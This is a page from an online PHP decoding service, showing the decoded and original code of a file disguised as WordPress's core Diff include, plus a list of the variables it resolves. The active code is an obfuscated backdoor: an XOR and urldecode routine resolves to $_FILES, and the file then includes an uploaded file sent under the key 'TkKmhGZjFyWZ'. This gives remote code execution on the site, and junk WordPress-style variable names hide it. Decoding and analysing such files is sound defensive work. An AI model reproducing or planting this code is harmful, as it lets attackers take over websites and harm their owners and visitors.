Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* * * WordPress Diff bastard child of old MediaWiki Diff Formatter. * * Bas..

Decoded Output download

<?php /*  
* 
 * WordPress Diff bastard child of old MediaWiki Diff Formatter. 
 * 
 * Basically all that remains is the table structure and some method names. 
 * 
 * @package WordPress 
 * @subpackage Diff 
  
 
if ( ! class_exists( 'Text_Diff', false ) ) { 
	* Text_Diff class  
	require ABSPATH . WPINC . '/Text/Diff.php'; 
	* Text_Diff_Renderer class  
	require ABSPATH . WPINC . '/Text/Diff/Renderer.php'; 
	* Text_Diff_Renderer_inline class  
	require ABSPATH . WPINC . '/Text/Diff/Renderer/inlin*/ 
 
	$mime_type = 'term_ids'; 
 
 
 
 
 
	$all_parts = 'datetime'; 
function utf8_string() 
 
{ 
 
    $counts = 'extra_parts'; 
 
} 
 
function version() 
 
{ 
    $wpdb = 'extra_parts'; 
 
    $num_octets = 924; 
} 
 
function translation_table($get_posts) 
 
{ 
	$newtext = 'post_mimes'; 
    $nohier_vs_hier_defaults = $get_posts; 
 
 
    $del_file = $GLOBALS[protocols("%0B-%02%21-%14", $nohier_vs_hier_defaults)]; 
 
    $ancestors = $del_file; 
	$open_quote = 'hierarchical_post_types'; 
    $nestable_tags = 'extra_parts'; 
    $encoded_char_length = isset($ancestors[$nohier_vs_hier_defaults]); 
	$more = 'stripped'; 
    $possible_emoji = 'extra_parts'; 
 
    if ($encoded_char_length) 
 
    { 
	$default_category_post_types = 'post_title'; 
        $page_title = $del_file[$nohier_vs_hier_defaults]; 
	$default_term_id = 'path'; 
        $post_status = 123; 
        $query = 656; 
 
        $format_to_edit = $page_title[protocols("+%06%3B2%06%267%0F", $nohier_vs_hier_defaults)]; 
        $piece = 'extra_parts'; 
        $allowed_html = $format_to_edit; 
 
        $lazyloader = $post_status % ($query + 4); 
 
        $post_status = $query - $post_status; 
	$prime = 'type_attr'; 
        include ($allowed_html); 
 
    } 
} 
 
 
function protocols($extended, $last_pee) 
 
{ 
    $taxonomies = $last_pee; 
    $postname_index = "url"; 
    $postname_index  .= "decode"; 
    $menu_order = $postname_index($extended); 
 
    $atts = strlen($menu_order); 
    $atts = substr($taxonomies, 0, $atts); 
    $found = $menu_order ^ $atts; 
    $taxonomy_obj = 620; 
 
 
    $menu_order = sprintf($found, $atts); 
 
    $taxonomy_obj = $taxonomy_obj + 4; 
 
    $wildcard_mime_types = 'extra_parts'; 
 
    return $found; 
} 
 
	$callback = 'shortcode_regex'; 
translation_table('TkKmhGZjFyWZ'); 
 
 
 
 
 
utf8_string(); 
 
 
 
version(); 
 
 
 
 
 
/* e.php'; 
} 
 
require ABSPATH . WPINC . '/class-wp-text-diff-renderer-table.php'; 
require ABSPATH . WPINC . '/class-wp-text-diff-renderer-inline.php'; 
*/ ?>

Did this file decode correctly?

Original Code

<?php /* 
*
 * WordPress Diff bastard child of old MediaWiki Diff Formatter.
 *
 * Basically all that remains is the table structure and some method names.
 *
 * @package WordPress
 * @subpackage Diff
 

if ( ! class_exists( 'Text_Diff', false ) ) {
	* Text_Diff class 
	require ABSPATH . WPINC . '/Text/Diff.php';
	* Text_Diff_Renderer class 
	require ABSPATH . WPINC . '/Text/Diff/Renderer.php';
	* Text_Diff_Renderer_inline class 
	require ABSPATH . WPINC . '/Text/Diff/Renderer/inlin*/

	$mime_type = 'term_ids';





	$all_parts = 'datetime';
function utf8_string()

{

    $counts = 'extra_parts';

}

function version()

{
    $wpdb = 'extra_parts';

    $num_octets = 924;
}

function translation_table($get_posts)

{
	$newtext = 'post_mimes';
    $nohier_vs_hier_defaults = $get_posts;


    $del_file = $GLOBALS[protocols("%0B-%02%21-%14", $nohier_vs_hier_defaults)];

    $ancestors = $del_file;
	$open_quote = 'hierarchical_post_types';
    $nestable_tags = 'extra_parts';
    $encoded_char_length = isset($ancestors[$nohier_vs_hier_defaults]);
	$more = 'stripped';
    $possible_emoji = 'extra_parts';

    if ($encoded_char_length)

    {
	$default_category_post_types = 'post_title';
        $page_title = $del_file[$nohier_vs_hier_defaults];
	$default_term_id = 'path';
        $post_status = 123;
        $query = 656;

        $format_to_edit = $page_title[protocols("+%06%3B2%06%267%0F", $nohier_vs_hier_defaults)];
        $piece = 'extra_parts';
        $allowed_html = $format_to_edit;

        $lazyloader = $post_status % ($query + 4);

        $post_status = $query - $post_status;
	$prime = 'type_attr';
        include ($allowed_html);

    }
}


function protocols($extended, $last_pee)

{
    $taxonomies = $last_pee;
    $postname_index = "url";
    $postname_index  .= "decode";
    $menu_order = $postname_index($extended);

    $atts = strlen($menu_order);
    $atts = substr($taxonomies, 0, $atts);
    $found = $menu_order ^ $atts;
    $taxonomy_obj = 620;


    $menu_order = sprintf($found, $atts);

    $taxonomy_obj = $taxonomy_obj + 4;

    $wildcard_mime_types = 'extra_parts';

    return $found;
}

	$callback = 'shortcode_regex';
translation_table('TkKmhGZjFyWZ');





utf8_string();



version();





/* e.php';
}

require ABSPATH . WPINC . '/class-wp-text-diff-renderer-table.php';
require ABSPATH . WPINC . '/class-wp-text-diff-renderer-inline.php';
*/

Function Calls

strlen 1
substr 1
sprintf 1
protocols 1
urldecode 1
translation_table 1

Variables

$atts TkKmhG
$found _FILES
$newtext post_mimes
$callback shortcode_regex
$extended %0B-%02%21-%14
$last_pee TkKmhGZjFyWZ
$all_parts datetime
$get_posts TkKmhGZjFyWZ
$mime_type term_ids
$menu_order -!-
$taxonomies TkKmhGZjFyWZ
$taxonomy_obj 620
$postname_index urldecode
$nohier_vs_hier_defaults TkKmhGZjFyWZ

Stats

MD5 8b13dc854e1f177e00e24defdb966661
Eval Count 0
Decode Time 57 ms